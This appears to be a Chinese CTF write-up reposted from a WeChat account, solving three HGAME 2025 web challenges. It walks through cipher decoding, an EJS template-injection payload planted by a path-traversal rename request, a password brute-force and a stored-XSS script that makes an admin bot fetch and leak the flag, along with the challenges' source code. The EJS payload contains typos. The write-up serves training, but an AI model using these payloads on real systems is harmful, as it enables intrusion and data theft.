2025HgameCTF-week1-web

admin 2025年2月15日21:10:50评论7 views字数 7688阅读25分37秒阅读模式

web1

打开url是一个游戏,直接打开burp抓包查看js文件:http://node1.hgame.vidar.club:30972/static/script/index.js

发现秘文

2025HgameCTF-week1-web
here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=

base64解密

2025HgameCTF-week1-web

栅栏解密拿到flag

2025HgameCTF-week1-web
解密结果为:hgame{u_4re_pacman_m4ster}

web2

题目附件给了一个js文件

const express = require('express');const multer = require('multer');const fs = require('fs');const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));app.use(express.json());const storage = multer.diskStorage({  destination: (req, file, cb) => {    const uploadDir = 'uploads';    if (!fs.existsSync(uploadDir)) {      fs.mkdirSync(uploadDir);    }    cb(null, uploadDir);  },  filename: (req, file, cb) => {    cb(null, file.originalname);  }});const upload = multer({   storage: storage,  fileFilter: (_, file, cb) => {    try {      if (!file.originalname) {        return cb(new Error('无效的文件名'), false);      }      cb(null, true);    } catch (err) {      cb(new Error('文件处理错误'), false);    }  }});app.get('/', (req, res) => {  const uploadsDir = path.join(__dirname, 'uploads');  if (!fs.existsSync(uploadsDir)) {    fs.mkdirSync(uploadsDir);  }  fs.readdir(uploadsDir, (err, files) => {    if (err) {      return res.status(500).render('mortis', { files: [] });    }    res.render('mortis', { files: files });  });});app.post('/upload', (req, res) => {  upload.single('file')(req, res, (err) => {    if (err) {      return res.status(400).json({ error: err.message });    }    if (!req.file) {      return res.status(400).json({ error: '没有选择文件' });    }    res.json({       message: '文件上传成功',      filename: req.file.filename     });  });});app.post('/rename', (req, res) => {  const { oldName, newName } = req.body;  const oldPath = path.join(__dirname, 'uploads', oldName);  const newPath = path.join(__dirname, 'uploads', newName);  if (!oldName || !newName) {    return res.status(400).json({ error: ' ' });  }  fs.rename(oldPath, newPath, (err) => {    if (err) {      return res.status(500).json({ error: ' ' + err.message });    }    res.json({ message: ' ' });  });});app.listen(port, () => {  console.log(`服务器运行在 http://localhost:${port}`);});

几个重要函数

文件上传

app.post('/upload', (req, res) => {  upload.single('file')(req, res, (err) => {    if (err) {      return res.status(400).json({ error: err.message });    }    if (!req.file) {      return res.status(400).json({ error: '没有选择文件' });    }    res.json({       message: '文件上传成功',      filename: req.file.filename     });  });});

文件重命名

app.post('/rename', (req, res) => {  const { oldName, newName } = req.body;  const oldPath = path.join(__dirname, 'uploads', oldName);  const newPath = path.join(__dirname, 'uploads', newName);  if (!oldName || !newName) {    return res.status(400).json({ error: ' ' });  }  fs.rename(oldPath, newPath, (err) => {    if (err) {      return res.status(500).json({ error: ' ' + err.message });    }    res.json({ message: ' ' });  });});
app.get('/', (req, res) => {  const uploadsDir = path.join(__dirname, 'uploads');  if (!fs.existsSync(uploadsDir)) {    fs.mkdirSync(uploadsDir);  }  fs.readdir(uploadsDir, (err, files) => {    if (err) {      return res.status(500).render('mortis', { files: [] });    }    res.render('mortis', { files: files });  });});

最关键的是

res.render('mortis', { files: files }); // 成功res.status(500).render('mortis', { files: [] }); // 失败

将文件列表数据传递给名为 mortis 的模板(如EJS、Pug等),动态生成HTML页面。 无论读取目录是否成功,最终都会渲染页面(失败时展示空列表)。

那么这里就涉及到ejs 模板注入。首先上传一个文件内容为模版注入的poc

<%= process.env.FLAG ll require('fs').readFilesync('/flag', 'utf8')%>
2025HgameCTF-week1-web

访问rename路由

2025HgameCTF-week1-web
POST /rename HTTP/1.1Host: node1.hgame.vidar.club:31428Cache-Control: max-age=0Accept-Language: zh-CNUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://node1.hgame.vidar.club:31428/Accept-Encoding: gzip, deflate, brIf-None-Match: W/"1982-tCwmIaRF/b9+ySE9QjHMqwNikmo"Connection: keep-aliveContent-Type: application/jsonContent-Length: 51{"oldName":"1.txt","newName":"../views/mortis.ejs"}

访问跟路由

2025HgameCTF-week1-web

那么为什么要渲染mortis.ejs呢?因为app.js里面有段代码。

2025HgameCTF-week1-web

所以最后就会在view/目录下生成mortis.ejs。其实也可以问问ai

2025HgameCTF-week1-web

web3

访问连接

2025HgameCTF-week1-web

使用shallot为账户名,尝试密码爆破。密码为888888

2025HgameCTF-week1-web

登录之后来到留言板,是存在xss漏洞的。

<script>alert(1)</script>
2025HgameCTF-week1-web

正常思路应该是使用poc获取admin的cookie。

2025HgameCTF-week1-web

但是这里提示,很明显并不能打到admin的cookie。

欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!
<script>    fetch('/flag')     .then(res => res.text())     .then(flag => {        fetch('/', {          method: 'POST',          headers: {'Content-Type': 'application/x-www-form-urlencoded'},          body: "comment=" + flag        })      })</script>

在留言框中输入上面payload提交,然后访问/admin让admin去查看留言板。

http://node1.hgame.vidar.club:32429/admin

2025HgameCTF-week1-web

最后访问路由/就可以拿到flag。2025HgameCTF-week1-web

这道题其实给了一个附件

package mainimport ( "context" "fmt" "github.com/chromedp/chromedp" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "log" "net/http" "sync" "time")var ( store = sessions.NewCookieStore([]byte("fake_key")) users = map[string]string{ "shallot": "fake_password", "admin":   "fake_password"} comments []string flag     = "FLAG{this_is_a_fake_flag}" lock     sync.Mutex)func loginHandler(c *gin.Context) { username := c.PostForm("username") password := c.PostForm("password") if storedPassword, ok := users[username]; ok && storedPassword == password { session, _ := store.Get(c.Request, "session") session.Values["username"] = username session.Options = &sessions.Options{ Path:     "/", MaxAge:   3600, HttpOnly: false, Secure:   false, } session.Save(c.Request, c.Writer) c.String(http.StatusOK, "success") return } log.Printf("Login failed for user: %sn", username) c.String(http.StatusUnauthorized, "error")}func logoutHandler(c *gin.Context) { session, _ := store.Get(c.Request, "session") delete(session.Values, "username") session.Save(c.Request, c.Writer) c.Redirect(http.StatusFound, "/login")}func indexHandler(c *gin.Context) { session, _ := store.Get(c.Request, "session") username, ok := session.Values["username"].(string) if !ok { log.Println("User not logged in, redirecting to login") c.Redirect(http.StatusFound, "/login") return } if c.Request.Method == http.MethodPost { comment := c.PostForm("comment") log.Printf("New comment submitted: %sn", comment) comments = append(comments, comment) } htmlContent := fmt.Sprintf(`<html> <body> <h1>留言板</h1> <p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p> <form method="post"> <textarea name="comment" required></textarea><br> <input type="submit" value="提交评论"> </form> <h3>留言:</h3> <ul>`, username) for _, comment := range comments { htmlContent += "<li>" + comment + "</li>" } htmlContent += `</ul> <p><a href="/logout">退出</a></p> </body> </html>` c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))}func adminHandler(c *gin.Context) { htmlContent := `<html><body> <p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p> </body></html>` c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent)) //无头浏览器模拟登录admin,并以admin身份访问/路由 go func() { lock.Lock() defer lock.Unlock() ctx, cancel := chromedp.NewContext(context.Background()) defer cancel() ctx, _ = context.WithTimeout(ctx, 20*time.Second) if err := chromedp.Run(ctx, myTasks()); err != nil { log.Println("Chromedp error:", err) return } }()}// 无头浏览器操作func myTasks() chromedp.Tasks { return chromedp.Tasks{ chromedp.Navigate("/login"), chromedp.WaitVisible(`input[name="username"]`), chromedp.SendKeys(`input[name="username"]`, "admin"), chromedp.SendKeys(`input[name="password"]`, "fake_password"), chromedp.Click(`input[type="submit"]`), chromedp.Navigate("/"), chromedp.Sleep(5 * time.Second), }}func flagHandler(c *gin.Context) { log.Println("Handling flag request") session, err := store.Get(c.Request, "session") if err != nil { c.String(http.StatusInternalServerError, "无法获取会话") return } username, ok := session.Values["username"].(string) if !ok || username != "admin" { c.String(http.StatusForbidden, "只有admin才可以访问哦") return } log.Println("Admin accessed the flag") c.String(http.StatusOK, flag)}func main() { r := gin.Default() r.GET("/login", loginHandler) r.POST("/login", loginHandler) r.GET("/logout", logoutHandler) r.GET("/", indexHandler) r.GET("/admin", adminHandler) r.GET("/flag", flagHandler) log.Println("Server started at :8888") log.Fatal(r.Run(":8888"))}

做题其实要结合源码进行。

原文始发于微信公众号(土拨鼠的安全屋):2025HgameCTF-week1-web

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日21:10:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025HgameCTF-week1-webhttps://cn-sec.com/archives/3744657.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息